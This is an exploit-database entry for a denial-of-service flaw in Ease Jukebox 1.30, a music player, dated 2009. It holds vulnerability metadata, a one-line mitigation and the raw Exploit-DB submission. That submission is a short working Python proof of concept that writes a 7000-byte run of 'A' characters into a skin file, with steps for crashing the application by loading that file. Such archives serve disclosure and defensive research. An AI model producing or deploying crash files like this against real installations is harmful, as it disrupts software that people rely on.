header-logo
Suggest Exploit
vendor:
Ease Jukebox
by:
Sweet
7,8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Ease Jukebox
Affected Version From: 1.30
Affected Version To: 1.30
Patch Exists: YES
Related CWE: N/A
CPE: a:mymusictools:ease_jukebox
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP
2009

Ease Jukebox 1.30 Dos vulnerability

Ease Jukebox 1.30 is vulnerable to a Denial of Service attack when a maliciously crafted .skn file is placed in the skin folder. When the application is opened and the malicious skin is selected, the application crashes.

Mitigation:

Ensure that all applications are up to date and patched with the latest security updates.
Source

Exploit-DB raw data:

#Exploit Title :Ease Jukebox 1.30 Dos vulnerability 
#Software : Ease Jukebox 1.30
#Software link : http://www.mymusictools.com/all-in-one_jukebox_9/ease_jukebox_4040.htm
#Autor : Sweet
#Email : charif38@hotmail.fr
#Software version : 1.30
#Tested on : WinXP sp3 ENG vm
# (thx to Milw0rm.com , JF - Hamst0r - Keystroke) R.I.P  , inj3ct0r.com , exploit-db.com, packetstormsecurity.org, http://ha.ckers.org et 1,2,3 viva L'Algerie :))
#!/usr/bin/python
outfile="skin1.skn"
junk="\x41" * 7000
FILE=open(outfile, "w") 
FILE.write(junk)
FILE.close()
print "[+] File created succesufully , copy the file into the skin folder , open the aplication and select skin1  [+]"

Navigation

Suggest Exploit

Services By CQR